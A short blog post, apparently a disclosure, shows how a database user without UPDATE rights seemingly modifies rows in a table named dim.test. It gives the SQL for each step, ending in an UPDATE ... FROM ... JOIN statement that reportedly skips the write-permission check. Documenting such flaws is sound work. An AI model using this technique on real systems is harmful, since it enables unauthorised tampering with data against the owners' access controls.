Um blog sobre nada

Um conjunto de inutilidades que podem vir a ser úteis

How to write to a table that you don’t have permissions (Actin Matrix)

Posted by Diego em Setembro 9, 2014


this post is to explain how is possible to write to a table even though your user doesn’t have permission to do it. I’ll be simulating an example where “SuperUser” creates a table called dim.test and “_user” tries to update its data even though it doesn’t have permissions to do it.

1)      User SuperUser runs:

clip_image001[6]

2)      User _user tries to query the table and gets a permission denied message because no permissions were assigned to it:

select * from dim.test

ERROR: 42501: permission denied for relation test

 

3)      But _user is supposed to be allowed to read data from dim.test, so SuperUser grants him read access:

clip_image002[6]

select * from dim.test –OK

 

4)      Under no circumstances _user should be able to update the table. It theory, SuperUser shouldn’t need to do anything because no explicit permissions were added to _user to be able to update the table. So, if _user tries to update the description, he gets:

update dim.test set description = ‘b’

ERROR: 42501: permission denied for relation test

 

 

5)      Now, let’s say _user wants to update description do “b” even though it doesn’t have permission. First, let’s join our dim.test table with an inner query containing the description value::

 

select *

from  dim.test dt

        join (select 1 as my_id, ‘b’ as my_description ) st on st.my_id = dt.id

clip_image003[6]

 

6)      Nothing special there, but if we transform the join into an update, apparently the write permissions are not checked:

 

update dim.test

set description = st.my_description

from  dim.test dt

        join (select 1 as my_id, ‘b’ as my_description ) st on st.my_id = dt.id

 

      

7)      so the record is updated on the table  _user doesn’t have permission:

select * from dim.test

clip_image004[6]

Deixe uma Resposta

Preencha os seus detalhes abaixo ou clique num ícone para iniciar sessão:

Logótipo da WordPress.com

Está a comentar usando a sua conta WordPress.com Terminar Sessão / Alterar )

Imagem do Twitter

Está a comentar usando a sua conta Twitter Terminar Sessão / Alterar )

Facebook photo

Está a comentar usando a sua conta Facebook Terminar Sessão / Alterar )

Google+ photo

Está a comentar usando a sua conta Google+ Terminar Sessão / Alterar )

Connecting to %s

 
%d bloggers like this: